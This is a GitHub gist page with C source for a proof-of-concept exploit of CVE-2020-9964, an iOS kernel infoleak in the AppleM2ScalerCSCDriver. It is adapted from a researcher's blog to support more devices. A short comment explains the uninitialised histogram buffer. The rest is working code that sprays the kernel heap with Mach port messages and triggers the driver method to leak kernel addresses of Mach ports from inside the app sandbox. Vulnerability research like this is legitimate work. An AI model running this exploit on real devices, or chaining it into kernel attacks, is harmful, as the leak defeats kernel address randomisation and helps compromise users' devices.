Last active
August 18, 2021 06:54
-
-
Save Halo-Michael/89fa51c0c98f8a3374d6fea4a0b486e0 to your computer and use it in GitHub Desktop.
https://muirey03.blogspot.com/2020/09/cve-2020-9964-ios-infoleak.html add support for more device.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <CoreFoundation/CoreFoundation.h> | |
#include <mach/mach.h> | |
#include <IOKit/IOKitLib.h> | |
#if 0 | |
AppleM2ScalerCSCDriver Infoleak: | |
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address. | |
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory. | |
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace. | |
This vulnerability is reachable from within the app sandbox on iOS. | |
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to. | |
Other kernel object addresses can be obtained using this vulnerability in similar ways. | |
#endif | |
#define ASSERT_KR(kr) do { \ | |
if (kr != KERN_SUCCESS) { \ | |
fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ | |
exit(EXIT_FAILURE); \ | |
} \ | |
} while(0) | |
//#define LEAK_SIZE 0x300 | |
int LEAK_SIZE; | |
#define SPRAY_COUNT 0x80 | |
mach_port_t create_port(void) | |
{ | |
mach_port_t p = MACH_PORT_NULL; | |
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); | |
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); | |
return p; | |
} | |
io_connect_t open_client(const char* serviceName, uint32_t type) | |
{ | |
io_connect_t client = MACH_PORT_NULL; | |
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); | |
assert(service != MACH_PORT_NULL); | |
IOServiceOpen(service, mach_task_self(), type, &client); | |
assert(client != MACH_PORT_NULL); | |
IOObjectRelease(service); | |
return client; | |
} | |
void push_to_freelist(mach_port_t port) | |
{ | |
uint32_t portCount = LEAK_SIZE / sizeof(void*); | |
struct { | |
mach_msg_header_t header; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports; | |
} msg = {{0}}; | |
mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); | |
for (uint32_t i = 0; i < portCount; i++) | |
ports[i] = port; | |
size_t msgSize = sizeof(msg); | |
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); | |
msg.header.msgh_size = msgSize; | |
msg.header.msgh_id = 'OOLP'; | |
msg.body.msgh_descriptor_count = 1; | |
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg.ool_ports.address = (void*)ports; | |
msg.ool_ports.count = portCount; | |
msg.ool_ports.deallocate = false; | |
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; | |
msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; | |
mach_port_t rcvPorts[SPRAY_COUNT]; | |
for (uint32_t i = 0; i < SPRAY_COUNT; i++) | |
{ | |
mach_port_t rcvPort = create_port(); | |
rcvPorts[i] = rcvPort; | |
msg.header.msgh_remote_port = rcvPort; | |
//trigger kernel allocation of port array: | |
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
ASSERT_KR(kr); | |
} | |
for (uint32_t i = 1; i < SPRAY_COUNT; i++) | |
mach_port_destroy(mach_task_self(), rcvPorts[i]); | |
free((void*)ports); | |
} | |
//The actual vulnerability: | |
void leak_bytes(void* buffer) | |
{ | |
io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); | |
kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); | |
ASSERT_KR(kr); | |
IOServiceClose(client); | |
} | |
uint64_t find_port_addr(mach_port_t port) | |
{ | |
uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); | |
printf("Preparing heap\n"); | |
push_to_freelist(port); | |
printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE); | |
leak_bytes(leak); | |
uint64_t addr = leak[1]; | |
free(leak); | |
return addr; | |
} | |
int main(int argc, char* argv[], char* envp[]) | |
{ | |
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleM2ScalerCSCDriver")); | |
assert(MACH_PORT_VALID(service)); | |
CFDictionaryRef data = IORegistryEntryCreateCFProperty(service, CFSTR("IOSurfaceAcceleratorCapabilitiesDict"), kCFAllocatorDefault, 0); | |
assert(data != NULL); | |
CFNumberRef value = CFDictionaryGetValue(data, CFSTR("kSurfaceAcceleratorCapabilitiesHistogramValues")); | |
CFRelease(data); | |
assert(value != NULL); | |
int intValue; | |
CFNumberGetValue(value, kCFNumberIntType, &intValue); | |
CFRelease(value); | |
LEAK_SIZE = intValue * 12; | |
mach_port_t port = create_port(); | |
uint64_t port_addr = find_port_addr(port); | |
printf("Leaked port address: %p\n", (void*)port_addr); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment